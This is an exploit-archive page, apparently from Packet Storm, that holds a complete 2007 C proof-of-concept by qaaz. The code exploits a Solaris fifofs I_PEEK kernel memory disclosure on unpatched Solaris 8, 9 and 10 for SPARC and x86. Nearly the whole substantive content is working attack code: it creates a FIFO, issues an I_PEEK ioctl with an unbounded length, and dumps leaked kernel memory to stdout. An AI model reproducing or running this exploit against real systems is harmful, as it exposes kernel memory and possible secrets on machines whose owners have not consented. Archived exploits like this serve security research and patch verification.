exploit the possibilities

solaris-fifofs.txt

solaris-fifofs.txt
Posted Oct 11, 2007
Authored by qaaz

Solaris fifofs I_PEEK kernel memory disclosure exploit for x86/sparc.

tags | exploit, x86, kernel
systems | solaris
MD5 | e08e4cd99770e0ae8c488210ef5b41e5

solaris-fifofs.txt

Change Mirror Download
/* 10/2007: public release
* SPARC
* Solaris 8 without 109454-06
* Solaris 9 without 117471-04
* Solaris 10 without 127737-01
* x86
* Solaris 8 without 109455-06
* Solaris 9 without 117472-04
* Solaris 10 without 127738-01
*
* Solaris fifofs I_PEEK Kernel Memory Disclosure
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT 1000

int main(int argc, char *argv[])
{
struct strpeek strpeek;
char *buf, *end;
int pg = PAGE_COUNT, fd, pagesz, bufsz;

fprintf(stderr,
"---------------------------------------\n"
" Solaris fifofs I_PEEK Kmem Disclosure\n"
" By qaaz\n"
"---------------------------------------\n");

if (argc > 1) pg = atoi(argv[1]);

pagesz = getpagesize();

if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
perror("mknod");
return -1;
}

switch (fork()) {
case -1:
perror("fork");
goto cleanup;
case 0:
if ((fd = open("fifo", O_WRONLY)) < 0) {
perror("open");
exit(0);
}
write(fd, "abcd", 4);
exit(0);
break;
default:
if ((fd = open("fifo", O_RDONLY)) < 0) {
perror("open");
goto cleanup;
}
break;
}

bufsz = (pg + 1) * pagesz;
if (!(buf = memalign(pagesz, bufsz))) {
perror("malloc");
goto cleanup;
}

memset(buf, 0, bufsz);
end = buf + (pg * pagesz);

fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
fflush(stderr);

if (mprotect(end, pagesz, PROT_NONE) < 0) {
perror("mprotect");
goto cleanup;
}

memset(&strpeek, 0, sizeof(strpeek));
strpeek.databuf.buf = buf;
strpeek.databuf.maxlen = -1;
if (ioctl(fd, I_PEEK, &strpeek) < 0) {
perror("ioctl");
goto cleanup;
}

while (end > buf && end[-1] == 0)
end--;
fprintf(stderr, "== %d\n", (int) (end - buf));
fflush(stderr);

if (!isatty(1))
write(1, buf, (size_t) (end - buf));

cleanup:
unlink("fifo");
return 0;
}

Login or Register to add favorites

File Archive:

July 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    13 Files
  • 2
    Jul 2nd
    12 Files
  • 3
    Jul 3rd
    1 Files
  • 4
    Jul 4th
    2 Files
  • 5
    Jul 5th
    34 Files
  • 6
    Jul 6th
    21 Files
  • 7
    Jul 7th
    21 Files
  • 8
    Jul 8th
    13 Files
  • 9
    Jul 9th
    6 Files
  • 10
    Jul 10th
    1 Files
  • 11
    Jul 11th
    3 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    19 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    15 Files
  • 16
    Jul 16th
    9 Files
  • 17
    Jul 17th
    2 Files
  • 18
    Jul 18th
    2 Files
  • 19
    Jul 19th
    19 Files
  • 20
    Jul 20th
    21 Files
  • 21
    Jul 21st
    53 Files
  • 22
    Jul 22nd
    14 Files
  • 23
    Jul 23rd
    14 Files
  • 24
    Jul 24th
    1 Files
  • 25
    Jul 25th
    1 Files
  • 26
    Jul 26th
    21 Files
  • 27
    Jul 27th
    8 Files
  • 28
    Jul 28th
    9 Files
  • 29
    Jul 29th
    12 Files
  • 30
    Jul 30th
    9 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close